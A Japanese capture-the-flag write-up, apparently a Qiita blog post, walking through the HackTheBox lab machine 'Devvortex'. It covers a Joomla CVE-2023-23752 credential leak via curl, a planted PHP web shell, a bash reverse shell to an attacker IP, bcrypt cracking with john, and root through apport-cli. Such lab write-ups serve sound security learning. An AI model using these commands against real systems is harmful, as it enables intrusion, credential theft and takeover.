LoginSignup
1
0

今回はHackTheBoxのEasyマシン「Devvortex」のWriteUpです!
名前から開発系?のような雰囲気が出ている気がしなくもないですが、どのようなマシンなのでしょうか。

image.png

グラフはまさにEasyマシン!といった感じになっていますね。
攻略目指して頑張ります!

HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Devvortex

列挙

それでは攻略を開始していきます!
まずはポートスキャンから実行していきましょう。

+[~/devvortex]
(σ▰>∇<)σ<>$ sudo nmap -Pn -sVC --min-rate=1000 -v -p- 10.10.11.242

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://devvortex.htb/

SSHとHTTPがオープンしてますね。
80番にブラウザからアクセスしてみましょう。

image.png

どうやら、DevvortexはWEBの制作を行うサイトのようです。
サイトの中を見て回りましたが、特に気になる遷移は見つかりませんでした。

ディレクトリ探索も特に新しい情報を得ることはできなかったので、サブドメインを列挙することにしました。ffufを実行してみると...

+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://devvortex.htb -H 'HOST: FUZZ.devvortex.htb' -fc 302

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://devvortex.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.devvortex.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

dev                     [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 7427ms]

devというサブドメインを発見しました。マシンの名前にピッタリですね笑
hostsファイルに追記し、ブラウザでアクセスしてみましょう。

image.png

先ほどのページと書いてあることは特に変わらなさそうに見えますが、新たなサイトを発見できました。
しかしこちらのサイトも特に気になる遷移はないので、ディレクトリ探索を行ってみます。

+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://dev.devvortex.htb/FUZZ    

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://dev.devvortex.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

administrator           [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 227ms]
api                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 174ms]
cache                   [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 195ms]
components              [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 208ms]
home                    [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 1310ms]
images                  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 360ms]
includes                [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 188ms]
index.php               [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 1479ms]
language                [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 178ms]
layouts                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 208ms]
libraries               [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 387ms]
media                   [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 350ms]
modules                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 174ms]
plugins                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 174ms]
robots.txt              [Status: 200, Size: 764, Words: 78, Lines: 30, Duration: 316ms]
templates               [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 296ms]
tmp                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 369ms]

複数のファイル / ディレクトリを発見しました。
まずはadministratiorが気になるので確認してみます。

image.png

Joomla!のログインページが表示されました。認証情報を取得できればRCEへつなげることができそうです。

CVE-2023-23752

では、認証情報を取得するためにさらに列挙を進めていきます。まず一番最初に知りたいのはJoomla!のバージョンです。Joomla!の攻撃手法については、様々な手法が紹介されており、HackTricksにも情報が載っています。

記事にも記載されているとおり、バージョンを確認したい場合は/administrator/manifests/files/joomla.xmlへアクセスするといいみたいです。アクセスしてみましょう。

+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ curl http://dev.devvortex.htb/administrator/manifests/files/joomla.xml      
<?xml version="1.0" encoding="UTF-8"?>
<extension type="file" method="upgrade">
	<name>files_joomla</name>
	<author>Joomla! Project</author>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<copyright>(C) 2019 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<version>4.2.6</version>
	<creationDate>2022-12</creationDate>
	<description>FILES_JOOMLA_XML_DESCRIPTION</description>
...

バージョンが4.2.6であることがわかりました!このバージョンに脆弱性がないか調べてみると、ちょうど先ほど引用したHackTricksの記事にも情報がありました。

ページから引用
バージョン4.0.0から4.2.7までが認証なしの情報漏洩(CVE-2023-23752)に脆弱であり、資格情報やその他の情報をダンプします。

どうやら、認証を必要とせずに情報漏洩を行ってしまう脆弱性が存在するようです。設定ファイルを見ることでログインに使用できる認証情報を取得できそうなので、こちらもアクセスしてみましょう。

+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ curl http://dev.devvortex.htb/api/index.php/v1/config/application?public=true
{"links":
  {
  "self":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true",
  "next":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20",
  "last":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"
  },
  "data":[
    {
    ...
    {"type":"application","id":"224","attributes":{"user":"lewis","id":224}},
    {"type":"application","id":"224","attributes":{"password":"P4ntherg0t1n5r3c0n##","id":224}},
    {"type":"application","id":"224","attributes":{"db":"joomla","id":224}},
    {"type":"application","id":"224","attributes":{"dbprefix":"sd4fg_","id":224}},
    ...

ユーザ名とパスワードが出力されました!
この認証情報を使用してログインしましょう。

image.png

ログインに成功しました!

RCE

ログインに成功したので、あとはRCEを発火させるだけです。RCEはテンプレートを編集し発火させます。
まずはSystemに移動します。

image.png

Systemの中のSite Templatesを押下し、存在するテンプレート(Cassiopeia Details and Files)を押下します。

image.png

複数ファイルが出てくるので、その中のerror.phpを選択し、2行目に<?php system($_GET['cmd']); ?>を追加します。

image.png

追加出来たらSaveを押下し、セーブします。
うまくセーブできたら、/templates/cassiopeia/error.php?cmd=idを指定した状態でアクセスしましょう。

image.png

コマンドの実行に成功しました!

www-data としてのシェル

それでは、シェルを取得します。
コマンドはいつものように以下をURLエンコードし使用します。

> plain
bash -c 'bash -i >& /dev/tcp/10.10.14.4/2121 0>&1'

> url encode
%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%34%2f%32%31%32%31%20%30%3e%26%31%27

実行前に待ち受けだけは忘れないようにしてください。
準備ができたら、cmdパラメータにURLエンコード後のコマンドを指定しerror.phpへアクセスします。
特に画面表示はないですが、待ち受けを確認すると...

+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.242] 59714
bash: cannot set terminal process group (858): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devvortex:~/dev.devvortex.htb/templates/cassiopeia$ whoami
whoami
www-data

シェルの取得に成功しました!

横移動

それでは、ここからローカルユーザへ横移動を目指していきます。
まずは、どのようなユーザが存在しているか確認しましょう。

www-data@devvortex:~$ ls -l /home
ls -l /home
total 4
drwxr-xr-x 3 logan logan 4096 Nov 21 11:04 logan

loganというユーザが存在しているようです。
そういえばですが、Joomla!のユーザ一覧にもloganユーザが存在していました。

image.png

データベース内に情報が保存されているようなので、MySQLにアクセスすればパスワードが取得できそうです。
Joomla!は、configuration.phpにデータベースの情報が登録されているので、確認してみましょう。

www-data@devvortex:~/dev.devvortex.htb$ cat configuration.php
<?php
class JConfig {
	public $offline = false;
	public $offline_message = 'This site is down for maintenance.<br>Please check back again soon.';
	public $display_offline_message = 1;
	public $offline_image = '';
	public $sitename = 'Development';
    ...
    public $dbtype = 'mysqli';
	public $host = 'localhost';
	public $user = 'lewis';
	public $password = 'P4ntherg0t1n5r3c0n##';
    ...

どうやらログイン情報と同じ情報でMySQLへ接続できそうです。
接続してみましょう。

www-data@devvortex:~/dev.devvortex.htb$ mysql -u lewis -p                   
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 4786
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

接続できました!

Hack Crack

それではデータベース内の探索を始めましょう。
まずはデータベースの一覧を確認します。

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| joomla             |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)

joomlaというデータベースがありますね。このデータベースを使用するように設定し、テーブルを検索しましょう。

mysql> use joomla
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------------------+
| Tables_in_joomla              |
+-------------------------------+
| sd4fg_action_log_config       |
| sd4fg_action_logs             |
| sd4fg_action_logs_extensions  |
| sd4fg_action_logs_users       |
| sd4fg_assets                  |
...
| sd4fg_usergroups              |
| sd4fg_users                   |
| sd4fg_viewlevels              |
...

sd4fg_usersというテーブルにユーザの情報が保存されていそうです。
テーブル内を検索していきましょう。

mysql> select * from sd4fg_users;
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
| id  | name       | username | email               | password                                                     | block | sendEmail | registerDate        | lastvisitDate       | activation | params                                                                                                                                                  | lastResetTime | resetCount | otpKey | otep | requireReset | authProvider |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
| 649 | lewis      | lewis    | lewis@devvortex.htb | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |     0 |         1 | 2023-09-25 16:44:24 | 2024-04-28 02:56:46 | 0          |                                                                                                                                                         | NULL          |          0 |        |      |            0 |              |
| 650 | logan paul | logan    | logan@devvortex.htb | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |     0 |         0 | 2023-09-26 19:15:42 | NULL                |            | {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"} | NULL          |          0 |        |      |            0 |              |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------

loganユーザのハッシュを取得できました!
解読できるか試してみましょう。

+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho    (?)     
1g 0:00:00:08 DONE (2024-04-27 23:43) 0.1219g/s 171.2p/s 171.2c/s 171.2C/s dianita..harry
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

解読できました!

logan としてのシェル

それでは解読したパスワードを使用してSSHログインが可能か試してみましょう。

+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ ssh logan@10.10.11.242                         
logan@10.10.11.242s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-167-generic x86_64)

logan@devvortex:~$ whoami
logan

SSHログインに成功です!横移動ができました。

logan@devvortex:~$ ls -l
total 4
-rw-r----- 1 root logan 33 Apr 28 01:54 user.txt

ユーザフラグも取得できました!

権限昇格

攻略もいよいよ終盤です。権限昇格を目指しましょう。
まずはいつものようにsudo -lを実行していきます。

logan@devvortex:~$ sudo -l
[sudo] password for logan: 
Matching Defaults entries for logan on devvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli

どうやらapport-clirootの権限で実行できるようです。

apport-cli とは?
コマンドラインからクラッシュやエラーの報告を行うためのツールです。
アプリケーションがクラッシュしたときに、このツールを使って自動的にクラッシュ情報を収集し、バグレポートを作成することが可能です。

GTFObinsには攻撃手法がなかったので、Googleで検索してみると以下の記事を発見しました。

どうやらapport-cliのバージョンが2.26.0以下である場合、権限昇格の脆弱性が存在しているようです。バージョンを確認してみましょう。

logan@devvortex:~$ sudo /usr/bin/apport-cli -v
2.20.11

脆弱なバージョンでした!

CVE-2023–1326

それでは記事を参考に権限昇格を行いましょう。
まずはsudoを使用してapport-cliを実行しましょう。オプションとして--file-bugを指定します。

logan@devvortex:~$ sudo /usr/bin/apport-cli --file-bug

*** What kind of problem do you want to report?

Choices:
  1: Display (X.org)
  2: External or internal storage devices (e. g. USB sticks)
  3: Security related problems
  4: Sound/audio related problems
  5: dist-upgrade
  6: installation
  7: installer
  8: release-upgrade
  9: ubuntu-release-upgrader
  10: Other problem
  C: Cancel
Please choose (1/2/3/4/5/6/7/8/9/10/C):

選択するオプションは適当に設定します。

What would you like to do? Your options are:
  S: Send report (717.4 KB)
  V: View report
  K: Keep report file for sending later or copying to somewhere else
  I: Cancel and ignore future crashes of this program version
  C: Cancel
Please choose (S/V/K/I/C):

最終的にV: View reportを選択できる状態になったら「V」を入力します。

== ApportVersion =================================
2.20.11-0ubuntu27

== Architecture =================================
amd64

== CasperMD5CheckResult =================================
skip

== CurrentDmesg =================================
[    0.000000] Linux version 5.4.0-167-generic (buildd@lcy02-amd64-010) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #184-Ubuntu SMP Tue Oct 31 09:21:49 UTC 2023 (Ubuntu 5.4.0-167.184-generic 5.4.252)
...
[    0.000002] tsc: Detected 2294.609 MHz processor
[    0.004590] e820: update [mem 0x00000000-0x00000fff] usable ==> reserved
:

入力すると、レポートの画面になります。

root としてのシェル

レポートの画面の一番下に入力箇所があるので、そこに!/bin/bashを入力します。

[    0.000002] tsc: Detected 2294.609 MHz processor
[    0.004590] e820: update [mem 0x00000000-0x00000fff] usable ==> reserved
:!/bin/bash

入力後、Enterを押します。
レポート画面が終了し、戻ってきたシェルを見てみると...

Please choose (S/V/K/I/C): V
root@devvortex:/home/logan# whoami
root

rootのシェルを取得できました!
権限昇格成功です!

root@devvortex:~# ls -l
total 4
-rw-r----- 1 root root 33 Apr 28 01:54 root.txt

ルートフラグも無事取得できました!完全攻略達成です!

攻略を終えて

今回のマシンはサクサク攻略できて、とても楽しかったです~!Easyマシンということもあったので、脆弱性もわかりやすく列挙も基本に忠実だったので初心者の方にもおすすめしたいマシンだなと思いました!
今回の初期侵入はJoomla!のバージョンが脆弱なことから認証情報を取得するといったパスでした。権限昇格でも脆弱なバージョンを悪用しました。バージョン管理は楽ではないとわかっていますが、今回のマシンのような事象を引き起こさないように今後も注意喚起を行っていきたいです。
今後もHackTheBoxのWriteUpを公開していきますので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました~~!

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0